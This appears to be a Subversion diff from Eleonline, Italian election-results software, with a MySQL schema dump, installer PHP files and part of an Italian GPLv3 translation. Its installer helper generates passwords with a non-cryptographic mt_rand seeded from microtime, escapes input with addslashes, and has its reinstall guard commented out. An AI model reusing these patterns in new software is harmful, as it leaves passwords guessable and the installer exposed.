+/*!40000 ALTER TABLE `soraldo_ele_sezioni` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_temi`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_temi`;
+CREATE TABLE `soraldo_ele_temi` (
+  `tema` varchar(20) NOT NULL
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_temi`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_temi` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_temi` WRITE;
+INSERT INTO `soraldo_ele_temi` VALUES ('default'),('altro'),('blog'),('stylized'),('tour'),('yellowblu'),('facebook');
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_temi` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_tipo`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_tipo`;
+CREATE TABLE `soraldo_ele_tipo` (
+  `tipo_cons` int(11) NOT NULL default '0',
+  `descrizione` varchar(30) default NULL,
+  `lingua` varchar(2) NOT NULL default '0',
+  `genere` tinyint(4) NOT NULL default '0',
+  `voto_g` enum('0','1') NOT NULL default '0',
+  `voto_l` enum('0','1') NOT NULL default '0',
+  `voto_c` enum('0','1') NOT NULL default '0',
+  `circo` enum('0','1') NOT NULL default '0',
+  PRIMARY KEY  (`tipo_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_tipo`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_tipo` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_tipo` WRITE;
+INSERT INTO `soraldo_ele_tipo` VALUES (1,'PROVINCIALI','it',3,'0','0','0','0'),(2,'REFERENDUM','it',0,'0','0','0','0'),(3,'COMUNALI','it',5,'0','0','0','0'),(4,'CIRCOSCRIZIONALI','it',5,'0','0','0','1'),(5,'BALLOTTAGGIO COMUNALI','it',1,'0','0','0','0'),(6,'CAMERA','it',2,'0','0','0','0'),(7,'SENATO','it',2,'0','0','0','0'),(8,'EUROPEE','it',4,'0','0','0','0'),(9,'REGIONALI','it',5,'0','0','0','0'),(10,'SENATO CON GRUPPI','it',5,'1','0','1','0'),(11,'CAMERA CON GRUPPI','it',5,'1','0','1','0'),(12,'PROVINCIALI CON COLLEGI','it',3,'0','0','0','1'),(13,'BALLOTTAGGIO PROVINCIALI','it',1,'0','0','0','0'),(14,'EUROPEE CON COLLEGI','it',4,'0','0','0','1'),(15,'CAMERA CON GRUPPI E COLLEGI','it',5,'1','0','1','1'),(16,'SENATO CON GRUPPI E COLLEGI','it',5,'1','0','1','1'),(17,'REGIONALI CON COLLEGI','it',5,'0','0','0','1');
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_tipo` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_voti_candidati`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_voti_candidati`;
+CREATE TABLE `soraldo_ele_voti_candidati` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_cand` int(11) NOT NULL default '0',
+  `id_sez` int(11) NOT NULL default '0',
+  `voti` int(7) NOT NULL default '0',
+  KEY `id_sez` (`id_sez`),
+  KEY `id_cand` (`id_cand`),
+  KEY `id_cons` (`id_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_voti_candidati`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_voti_candidati` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_voti_candidati` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_voti_candidati` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_voti_gruppo`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_voti_gruppo`;
+CREATE TABLE `soraldo_ele_voti_gruppo` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_gruppo` int(11) NOT NULL default '0',
+  `id_sez` int(11) NOT NULL default '0',
+  `voti` int(7) NOT NULL default '0',
+  KEY `id_cons` (`id_cons`),
+  KEY `id_gruppo` (`id_gruppo`),
+  KEY `id_sez` (`id_sez`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_voti_gruppo`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_voti_gruppo` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_voti_gruppo` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_voti_gruppo` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_voti_lista`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_voti_lista`;
+CREATE TABLE `soraldo_ele_voti_lista` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_lista` int(11) NOT NULL default '0',
+  `id_sez` int(11) NOT NULL default '0',
+  `voti` int(7) NOT NULL default '0',
+  KEY `cons` (`id_cons`),
+  KEY `id_lista` (`id_lista`),
+  KEY `id_sez` (`id_sez`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_voti_lista`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_voti_lista` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_voti_lista` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_voti_lista` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_voti_parziale`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_voti_parziale`;
+CREATE TABLE `soraldo_ele_voti_parziale` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_sez` int(11) NOT NULL default '0',
+  `id_parz` int(11) NOT NULL auto_increment,
+  `orario` time NOT NULL default '00:00:00',
+  `data` date NOT NULL default '0000-00-00',
+  `voti_uomini` int(7) NOT NULL default '0',
+  `voti_donne` int(7) NOT NULL default '0',
+  `voti_complessivi` int(7) NOT NULL default '0',
+  `id_gruppo` int(11) NOT NULL default '0',
+  PRIMARY KEY  (`id_parz`),
+  KEY `id_cons` (`id_cons`),
+  KEY `id_sez` (`id_sez`),
+  KEY `id_gruppo` (`id_gruppo`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_voti_parziale`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_voti_parziale` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_voti_parziale` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_voti_parziale` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_voti_ref`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_voti_ref`;
+CREATE TABLE `soraldo_ele_voti_ref` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_gruppo` int(11) NOT NULL default '0',
+  `id_sez` int(11) NOT NULL default '0',
+  `si` int(7) default '0',
+  `no` int(7) default '0',
+  `validi` int(7) default '0',
+  `nulli` int(7) default '0',
+  `bianchi` int(7) default '0',
+  `contestati` int(7) default '0',
+  KEY `id_cons` (`id_cons`),
+  KEY `id_gruppo` (`id_gruppo`),
+  KEY `id_sez` (`id_sez`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_voti_ref`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_voti_ref` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_voti_ref` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_voti_ref` ENABLE KEYS */;
+
+--
+-- Struttura della tabella `soraldo_ele_widget`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_widget`;
+CREATE TABLE IF NOT EXISTS `soraldo_ele_widget` (
+  `id` int(10) NOT NULL AUTO_INCREMENT,
+  `nome_file` varchar(255) NOT NULL DEFAULT '',
+  `titolo` varchar(255) NOT NULL DEFAULT '',
+  `pos_or` int(1) NOT NULL DEFAULT '1',
+  `pos_ver` int(3) NOT NULL DEFAULT '0',
+  `attivo` int(1) NOT NULL DEFAULT '0',
+  PRIMARY KEY (`id`)
+) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=13 ;
+
+--
+-- Dump dei dati per la tabella `soraldo_ele_widget`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_widget` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_widget` WRITE;
+
+INSERT INTO `soraldo_ele_widget` (`id`, `nome_file`, `titolo`, `pos_or`, `pos_ver`, `attivo`) VALUES
+(1, '00_affluenze.php', '00_affluenze.php', 1, 0, 0),
+(2, '01_votanti.php', '01_votanti.php', 1, 0, 0),
+(3, '02_risultati.php', '02_risultati.php', 1, 0, 0),
+(4, '04_sezioni.php', '04_sezioni.php', 1, 0, 0),
+(5, 'bar_affluenze.php', 'bar_affluenze.php', 1, 0, 0),
+(6, 'bloccocand.php', 'bloccocand.php', 1, 0, 0),
+(7, 'bloccogen.php', 'bloccogen.php', 1, 0, 0),
+(8, 'bloccolink.php', 'bloccolink.php', 1, 0, 0),
+(9, 'bloccoref.php', 'bloccoref.php', 1, 0, 0),
+(10, 'gom_affluenze.php', 'gom_affluenze.php', 1, 0, 0),
+(11, 'off_Votanti.php', 'off_Votanti.php', 1, 0, 0),
+(12, 'pie_affluenze.php', 'pie_affluenze.php', 1, 0, 0);
+
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_widget` ENABLE KEYS */;
+
+/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
+
+/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
+/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
+/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
+/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
+/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
+/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
+/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
+
Index: /trunk/elezioni/trunk/install.php
===================================================================
--- /trunk/elezioni/trunk/install.php	(revision 44)
+++ /trunk/elezioni/trunk/install.php	(revision 44)
@@ -0,0 +1,13 @@
+<?php
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+    Header("Location: install/index.php");
+die();
+
+?>
Index: /trunk/elezioni/trunk/install/common.php
===================================================================
--- /trunk/elezioni/trunk/install/common.php	(revision 44)
+++ /trunk/elezioni/trunk/install/common.php	(revision 44)
@@ -0,0 +1,55 @@
+<?php
+
+/************************************************************************/
+/* Eleonline                                                            */
+/* ============================================                         */
+/*  Installer was based on Joomla Installer                             */
+/************************************************************************/
+
+
+//if (file_exists( '../client/config.php' ) && filesize( '../client/config.php' ) > 300) {
+//	header( 'Location: ../index.php' );
+//	exit();
+//}
+
+error_reporting( E_ALL );
+
+header ("Cache-Control: no-cache, must-revalidate");	// HTTP/1.1
+header ("Pragma: no-cache");	// HTTP/1.0
+
+/**
+* Utility function to return a value from a named array or a specified default
+*/
+define( "_MOS_NOTRIM", 0x0001 );
+define( "_MOS_ALLOWHTML", 0x0002 );
+function mosGetParam( &$arr, $name, $def=null, $mask=0 ) {
+	$return = null;
+	if (isset( $arr[$name] )) {
+		if (is_string( $arr[$name] )) {
+			if (!($mask&_MOS_NOTRIM)) {
+				$arr[$name] = trim( $arr[$name] );
+			}
+			if (!($mask&_MOS_ALLOWHTML)) {
+				$arr[$name] = strip_tags( $arr[$name] );
+			}
+			if (!get_magic_quotes_gpc()) {
+				$arr[$name] = addslashes( $arr[$name] );
+			}
+		}
+		return $arr[$name];
+	} else {
+		return $def;
+	}
+}
+
+function mosMakePassword($length) {
+	$salt = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
+	$len = strlen($salt);
+	$makepass="";
+	mt_srand(10000000*(double)microtime());
+	for ($i = 0; $i < $length; $i++)
+	$makepass .= $salt[mt_rand(0,$len - 1)];
+	return $makepass;
+}
+
+?>
Index: /trunk/elezioni/trunk/install/footer.php
===================================================================
--- /trunk/elezioni/trunk/install/footer.php	(revision 44)
+++ /trunk/elezioni/trunk/install/footer.php	(revision 44)
@@ -0,0 +1,19 @@
+<?php
+if (!isset($version)) $version='';
+echo '
+<div class="ctr">
+'.$version.'
+</div>
+<div class="ctr">
+	<a href="http://www.eleonline.it" target="_blank">Eleonline</a> e\' un Free Software sotto licenza  GNU/GPL.
+</div>
+<div class="ctr">
+	Eleonline e\' sviluppato e curato da <a href="http://www.eleonline.it/site/modules.php?name=Contatti" target="_blank" title="Contatti con Autori">Luciano Apolito e Roberto Gigli</a>
+
+</div>
+<div class="ctr">
+	 This installer was based on  <a href="http://www.joomla.org" target="_blank" title="Installer by joomla">Joomla</a> Installer
+
+</div>
+';
+?>
Index: /trunk/elezioni/trunk/install/gpl.html
===================================================================
--- /trunk/elezioni/trunk/install/gpl.html	(revision 44)
+++ /trunk/elezioni/trunk/install/gpl.html	(revision 44)
@@ -0,0 +1,1060 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+        "http://www.w3.org/TR/html4/loose.dtd">
+<html>
+<link rel="stylesheet" href="install.css" type="text/css" />
+
+ <style type="text/css"> div.p { margin-top: 7pt;}</style>
+ <style type="text/css"><!--
+ td div.comp { margin-top: -0.6ex; margin-bottom: -1ex;}
+ td div.comb { margin-top: -0.6ex; margin-bottom: -.6ex;}
+ td div.hrcomp { line-height: 0.9; margin-top: -0.8ex; margin-bottom: -1ex;}
+ td div.norm {line-height:normal;}
+ span.roman {font-family: serif; font-style: normal; font-weight: normal;font-size:10px;} 
+ span.overacc2 {position: relative;  left: .8em; top: -1.2ex;}
+ span.overacc1 {position: relative;  left: .6em; top: -1.2ex;} --></style>
+
+
+<title> GNU GENERAL PUBLIC LICENSE</title>
+ 
+<h1 align="center">GNU GENERAL PUBLIC LICENSE </h1>
+
+<h3 align="center">Versione 3, 29 Giugno 2007 </h3>
+
+<div class="p"><!----></div>
+
+
+
+<div class="p"><!----></div>
+<i>Questa &#232; una traduzione non ufficiale in italiano della GNU General
+Public License. Questa traduzione non &#232; stata pubblicata dalla Free
+Software Foundation, e non stabilisce i termini legali di distribuzione
+del software che usa la GNU GPL - Soltanto la versione originale in
+inglese della GNU GPL fa ci&#242;. Ciononostante, speriamo che questa
+traduzione possa aiutare gli utenti di lingua italiana a comprendere un
+po' meglio la GNU GPL. </i>
+
+<div class="p"><!----></div>
+
+<br /><i>This is an unofficial translation of the GNU General Public License into
+Italian. It was not published by the Free Software Foundation, and does
+not legally state the distribution terms for software that uses the GNU
+GPL - only the original English text of the GNU GPL does that. However, we
+hope that this translation will help italian speakers understand the
+GNU GPL better.</i>
+
+<div class="p"><!----></div>
+
+<center>Copyright &#169;&nbsp;2007 Free Software Foundation, Inc. http://fsf.org/
+
+<div class="p"><!----></div>
+<br /><br />A chiunque &#232; permesso copiare e ridistribuire copie esatte di questo
+documento di licenza, ma non &#232; in alcun modo consentito apportarvi
+modifiche.
+
+<div class="p"><!----></div>
+</center>
+<h2> Preambolo</h2>
+
+La GNU General Public License &#232; una licenza libera e basata su copyleft
+per software e altri tipi di opere.
+
+<div class="p"><!----></div>
+Le licenze della maggior parte del software e di altre opere materiali
+sono pensate per togliere la libert&#224; di condividere e modificare
+tali opere. Al contrario, la GNU General Public License ha l'obiettivo
+di garantire la libert&#224; di condividere e modificare tutte le versioni
+di un programma e di fare in modo che esso rimanga software libero per
+tutti gli utenti. Noi, Free Software Foundation, usiamo la GNU General
+Public License per la maggior parte del nostro software; essa viene
+applicata anche a qualunque altro software rilasciato dall'autore sotto
+questa licenza. Chiunque pu&#242; utilizzare questa licenza per i suoi
+programmi. 
+
+<div class="p"><!----></div>
+Quando parliamo di software libero (free software), ci riferiamo al
+concetto di libert&#224;, non al prezzo. Le nostre General Public License
+sono progettate per garantire che chiunque abbia la libert&#224; di
+distribuire copie di software libero (anche dietro pagamento di un
+prezzo, se lo desidera), che chiunque riceva o possa ricevere il codice
+sorgente se lo vuole, che chiunque possa apportare modifiche al software
+o utilizzarne delle porzioni in altri software liberi, e che chiunque
+sappia che ha il diritto di fare tutte queste cose col software libero.
+
+<div class="p"><!----></div>
+
+Per proteggere i vostri diritti, abbiamo la necessit&#224; di impedire che
+altri vi neghino questi diritti o vi obblighino a rinunciarvi. Pertanto,
+chiunque distribuisce o modifica software rilasciato con questa licenza
+assume dei precisi doveri: il dovere di rispettare la libert&#224; degli
+altri.
+
+<div class="p"><!----></div>
+Per esempio, chi distribuisce copie di un programma rilasciato sotto
+questa licenza, sia gratis che dietro pagamento di un prezzo, e'
+obbligato a riconoscere a chi riceve il software esattamente gli stessi
+diritti che ha ricevuto. Deve garantire che chi riceva il software abbia
+o possa avere accesso al codice sorgente. E deve chiaramente far
+conoscere ai destinatari del software queste condizioni, cos&#236; che essi
+conoscano quali sono i loro diritti. 
+
+<div class="p"><!----></div>
+Gli sviluppatori che usano la GNU GPL proteggono i vostri diritti in due
+modi: (1) Rivendicando il copyright sul software, e (2) offrendovi
+questa licenza che vi garantisce il diritto legale di copiarlo e/o di
+modificarlo.
+
+<div class="p"><!----></div>
+Al fine di proteggere gli sviluppatori e gli autori, la GPL spiega
+chiaramente che non c'&#232; nessuna garanzia per questo software
+libero. Nell'interesse degli utenti e degli autori, la GPL impone che le
+versioni modificate del software vengano esplicitamente marcate come
+"modificate", in maniera tale che eventuali problemi non vengano
+erroneamente attribuiti agli autori delle versioni precedenti.
+
+<div class="p"><!----></div>
+Alcuni dispositivi sono progettati per negare agli utenti
+l'installazione o l'esecuzione di versioni modificate del software che
+gira sugli stessi, anche se il costruttore si riserva la possibilit&#224;
+
+di farlo. Ci&#242; &#232; fondamentalmente incompatibile con l'obiettivo di
+garantire la libert&#224; degli utenti di modificare il software. Una
+ripetizione sistematica di tali abusi avviene nel campo dei dispositivi
+per usi individuali, e ci&#242; rende questi abusi ancora pi&#249;
+inaccettabili. Pertanto, abbiamo realizzato questa versione della GPL al
+fine di proibire queste pratiche. Se problemi simili dovessero sorgere
+in altri ambiti, saremo pronti ad estendere queste misure a questi nuovi
+ambiti in versioni future della GPL, nella maniera che si render&#224;
+necessaria per difendere la libert&#224; degli utenti.
+
+<div class="p"><!----></div>
+In conclusione, tutti i programmi sono costantemente minacciati dai
+brevetti sul software. Gli Stati non dovrebbero permettere ai brevetti
+sul software di limitare lo sviluppo e l'utilizzo di software per
+computer, ma nei Paesi in cui ci&#242; avviene noi vogliamo evitare in
+particolare il pericolo che i brevetti sul software applicati ad un
+programma libero possano renderlo, a tutti gli effetti,
+proprietario. Per impedire ci&#242;, la GPL assicura che non &#232; possibile
+utilizzare i brevetti sul software per rendere un programma non libero.
+
+
+<div class="p"><!----></div>
+I termini e le condizioni esatte per la copia, la distribuzione e la
+modifica del software sono riportate di seguito.
+
+<div class="p"><!----></div>
+
+<center>			 <font size="+2"> Termini e Condizioni</font>
+</center>
+
+<div class="p"><!----></div>
+
+<ol type="1" start=0>	
+<li> Definizioni
+
+<div class="p"><!----></div>
+"Questa Licenza" si riferisce alla versione 3 della GNU General Public License.
+
+
+<div class="p"><!----></div>
+"Copyright" indica anche leggi simili al copyright che riguardano
+altri tipi di opere, come le maschere per la produzione di
+semiconduttori. 
+
+<div class="p"><!----></div>
+"Il Programma" indica qualunque opera che sia soggetta a copyright e
+che sia rilasciata sotto questa Licenza. I detentori della licenza sono
+indicati come "tu" o "voi". Licenziatari e destinatari possono
+essere individui o organizzazioni.
+
+<div class="p"><!----></div>
+"Modificare" un'opera significa copiare o adattare tutta o parte
+dell'opera in una maniera che richieda un permesso di copyright, e non
+indica la semplice azione di fare una esatta copia dell'opera. L'opera
+risultante viene chiamata "versione modificata" dell'opera precedente,
+oppure viene detta opera "basata sulla" opera precedente.
+
+<div class="p"><!----></div>
+Un' "opera coperta da questa licenza" indica il Programma originale
+non modificato oppure un'opera basata sul Programma. 
+
+<div class="p"><!----></div>
+"Propagare" un'opera significa fare qualunque cosa con essa che, in
+mancanza di un esplicito permesso, ti renda direttamente o
+indirettamente perseguibile per violazione secondo le vigenti normative
+sul copyright, ad eccezione della semplice esecuzione del Programma su
+un computer o della modifica di una copia privata. La Propagazione
+include la copia, la distribuzione (con o senza modifiche), la messa a
+disposizione al pubblico e, in alcuni stati, altre attivit&#224; simili e
+connesse.
+
+<div class="p"><!----></div>
+"Distribuire" un'opera indica qualunque forma di propagazione che
+permetta a terze parti di effettuare o ricevere delle copie. La mera
+interazione con un utente attraverso una rete di computer, senza che ci
+sia alcun trasferimento di una copia, non &#232; considerata
+"Distribuzione".
+
+<div class="p"><!----></div>
+
+Una interfaccia utente interattiva fornisce delle "Adeguate
+Informazioni Legali" soltanto nel caso in cui include una apposita
+funzionalit&#224;, resa adeguatamente visibile, che (1) visualizzi
+un'adeguata informazione di copyright, e (2) informi l'utente che non
+c'&#232; alcuna garanzia sull'opera (eccetto nel caso in cui delle garanzie
+sono espressamente fornite), dica che il licenziatario pu&#242; distribuire
+l'opera utilizzando questa Licenza, indichi come &#232; possibile prendere
+visione di una copia di questa Licenza. Se l'interfaccia presenta una
+lista di comandi o di opzioni, come ad esempio un men&#249;, una delle
+opzioni fornite nella lista deve rispettare questa condizione.
+<div class="p"><!----></div>
+</li>
+
+<li> Codice Sorgente.
+
+<div class="p"><!----></div>
+Il "codice sorgente" di un'opera indica la forma pi&#249; indicata
+dell'opera per effettuare modifiche su di essa. Il "codice oggetto"
+indica qualunque forma dell'opera che non sia codice sorgente. 
+
+
+<div class="p"><!----></div>
+Una "Interfaccia Standard" &#232; una interfaccia che risponde ad uno
+standard ufficiale definito da un ente di standardizzazione riconosciuto
+o, nel caso di interfacce specifiche per un particolare linguaggio di
+programmazione, una interfaccia che &#232; largamente utilizzata dagli
+sviluppatori per sviluppare in tale linguaggio. 
+
+<div class="p"><!----></div>
+Le "Librerie di Sistema" di un eseguibile includono qualsiasi cosa,
+eccetto l'opera nel suo insieme, che (a) sia inclusa nella normale forma
+di pacchettizzazione di un "Componente Principale", ma che non &#232;
+parte di quel Componente Principale, e (b) che serva solo a consentire
+l'uso dell'opera con quel Componente Principale, o per implementare una
+Interfaccia Standard per la quale esista una implementazione disponibile
+al pubblico in forma sorgente. Un "Componente Principale", in questo
+contesto, &#232; un componente essenziale (kernel, gestore di finestre
+eccetera) dello specifico sistema operativo (ammesso che ce ne sia uno)
+sul quale l'eseguibile esegue, o un compilatore utilizzato per produrre
+il programma, o un interprete di codice oggetto utilizzato per eseguire
+il programma.
+
+<div class="p"><!----></div>
+Il "Sorgente Corrispondente" per un'opera in forma di codice oggetto
+&#232; il codice sorgente necessario per generare, installare e (per un
+programma eseguibile) eseguire il codice oggetto e per modificare
+l'opera, inclusi gli script per controllare le suddette attivit&#224; di
+generazione, installazione ed esecuzione. Non sono incluse le Librerie
+di Sistema usate dal programma, o gli strumenti di utilit&#224; generica o i
+programmi liberamente accessibili che sono utilizzati, senza modifiche,
+per portare a termine le suddette attivit&#224; ma che non fanno parte
+dell'opera. Per esempio, il sorgente corrispondente include i file con
+le definizioni delle interfacce associati ai file sorgente dell'opera, e
+il codice sorgente delle librerie condivise e sottoprogrammi collegati
+dinamicamente specificatamente necessari per il programma, ad esempio a
+causa di stretta comunicazione dati o di controllo di flusso tra questi
+sottoprogrammi e altre parti del programma.
+
+
+<div class="p"><!----></div>
+Il Sorgente Corrispondente non include qualunque cosa che l'utente possa
+rigenerare automaticamente da altre parti del Sorgente Corrispondente
+stesso.
+
+<div class="p"><!----></div>
+Il Sorgente Corrispondente di un'opera in forma di codice sorgente &#232;
+l'opera stessa.
+<div class="p"><!----></div>
+</li>
+
+<li> Principali Diritti 
+
+<div class="p"><!----></div>
+Tutti i diritti garantiti da questa Licenza sono garantiti per la durata
+del copyright sul Programma, e sono irrevocabili ammesso che le suddette
+condizioni siano rispettate. Questa Licenza afferma esplicitamente il
+tuo permesso illimitato di eseguire il Programma non modificato. Il
+risultato dell'esecuzione di un programma coperto da questa Licenza &#232;
+a sua volta coperto da questa Licenza solo se il risultato stesso, a
+causa del suo contenuto, &#232; un'opera coperta da questa Licenza. Questa
+Licenza riconosce il tuo diritto all'uso legittimo o altri diritti
+equivalenti, come stabilito dalla legislazione sul copyright. 
+
+
+<div class="p"><!----></div>
+Puoi creare, eseguire e propagare programmi coperti da questa Licenza
+che tu non distribuisci, senza alcuna condizione fino a quando la tua
+Licenza rimane valida. Puoi distribuire opere coperte da questa Licenza
+ad altri al solo scopo di ottenere che essi facciano delle modifiche al
+programma esclusivamente per te, o che ti forniscano dei servizi per
+l'esecuzione di queste opere, ammesso che tu rispetti i termini di
+questa Licenza nel distribuire tutto il materiale per il quale non
+detieni il copyright. Coloro i quali creano o eseguono per conto tuo un
+programma coperto da questa Licenza lo fanno esclusivamente in tua vece,
+sotto la tua direzione e il tuo controllo, in maniera tale che sia
+proibito a costoro effettuare copie di materiale di cui detieni il
+copyright al di fuori della relazione che intrattengono nei tuoi
+confronti.
+
+<div class="p"><!----></div>
+Distribuire opere coperte da licenza in qualunque altra circostanza &#232;
+consentito soltanto alle condizioni espresse in seguito. Non &#232;
+consentito sottolicenziare le opere: la sezione 10 lo rende non
+necessario.
+<div class="p"><!----></div>
+</li>
+
+<li> Protezione dei diritti legali degli utenti dalle leggi
+	anti-elusione.
+
+<div class="p"><!----></div>
+Nessun programma protetto da questa Licenza pu&#242; essere considerato
+parte di una misura tecnologica di restrizione che sottosta ad alcuna
+delle leggi che soddisfano l'articolo 11 del "WIPO copyright treaty"
+adottato il 20 Dicembre 1996, o a simili leggi che proibiscono o
+limitano l'elusione di tali misure tecnologiche di restrizione.
+
+
+<div class="p"><!----></div>
+Quando distribuisci un programma coperto da questa Licenza, rifiuti
+tutti i poteri legali atti a proibire l'elusione di misure tecnologiche
+di restrizione ammesso che tale elusione sia effettuata nell'esercizio
+dei diritti garantiti da questa Licenza riguardo al programma coperto da
+questa Licenza, e rinunci all'intenzione di limitare l'operativit&#224; o
+la modifica del programma per far valere, contro i diritti degli utenti
+del programma, diritti legali tuoi o di terze parti che impediscano
+l'elusione di misure tecnologiche di restrizione.
+<div class="p"><!----></div>
+</li>
+
+<li> Distribuzione di Copie Esatte.
+
+<div class="p"><!----></div>
+Ti &#232; permesso distribuire copie esatte del codice sorgente del
+Programma come lo hai ricevuto, con qualunque mezzo, ammesso che tu
+aggiunga in maniera appropriata su ciascuna copia una appropriata nota
+di copyright; che tu lasci intatti tutti gli avvisi che affermano che
+questa Licenza e tutte le clausole non-permissive aggiunte in accordo
+con la sezione 7 sono valide per il codice che distribuisci; che tu
+lasci intatti tutti gli avvisi circa l'assenza di garanzia; che tu
+fornisca a tutti i destinatari una copia di questa Licenza assieme al
+Programma.
+
+<div class="p"><!----></div>
+Puoi richiedere il pagamento di un prezzo o di nessun prezzo per
+ciascuna copia che distribuisci, e puoi offrire supporto o garanzia
+a pagamento.
+<div class="p"><!----></div>
+</li>
+
+<li> Distribuzione di Versioni modificate del sorgente.
+
+<div class="p"><!----></div>
+Puoi distribuire un'opera basata sul Programma, o le modifiche per
+produrla a partire dal Programma, nella forma di codice sorgente secondo
+i termini della sezione 4, ammesso che tu rispetti anche tutte le
+seguenti condizioni:
+
+<div class="p"><!----></div>
+
+<ol type="a">
+<li> L'opera deve recare con s&#232; delle informazioni adeguate che
+	affermino che tu l'hai modificata, indicando la data di modifica.
+<div class="p"><!----></div>
+</li>
+
+<li>
+	L'opera deve recare informazioni adeguate che affermino che essa &#232;
+
+	rilasciata sotto questa Licenza e sotto le condizioni aggiuntive
+	secondo quanto indicato dalla Sezione 7. Questa condizione modifica la
+	condizione espressa alla sezione 4 di "lasciare intatti tutti gli
+	avvisi".
+<div class="p"><!----></div>
+</li>
+
+<li>
+	Devi rilasciare l'intera opera, nel suo complesso, sotto questa
+	Licenza a chiunque venga in possesso di una copia di essa. Questa
+	Licenza sar&#224; pertanto applicata, assieme ad eventuali clausole
+	aggiunte in osservanza della Sezione 7, all'opera nel suo complesso, a
+	tutte le sue parti, indipendentemente da come esse siano
+	pacchettizzate. Questa Licenza nega il permesso di licenziare l'opera
+	in qualunque altro modo, ma non rende nullo un tale permesso ammesso
+	che tu lo abbia ricevuto separatamente.
+<div class="p"><!----></div>
+</li>
+
+<li>
+	Se l'opera ha delle interfacce utente interattive, ciascuna deve
+	mostrare delle Adeguate Informazioni Legali; altrimenti, se il
+	Programma ha delle interfacce interattive che non visualizzano delle
+	Adeguate Informazioni Legali, il tuo programma non &#232; obbligato a
+	visualizzarle.
+
+<div class="p"><!----></div>
+</li>
+</ol>
+
+<div class="p"><!----></div>
+La giustapposizione di un'opera coperta da questa Licenza assieme ad
+altre opere separate e indipendenti, che non sono per loro natura
+estensioni del Programma, e che non sono combinate con esso a formare un
+altro programma pi&#249; grande, dentro o in uno stesso supporto di
+memorizzazione a lungo termine o di distribuzione, &#232; semplicemente
+detto "aggregato" se la raccolta e il suo copyright non sono
+utilizzati per limitare l'accesso o i diritti legali degli utenti della
+raccolta stessa oltre ci&#242; che ciascun singolo programma
+consente. L'inclusione di un programma coperto da questa Licenza in un
+aggregato non comporta l'applicazione di questa Licenza alle altre parti
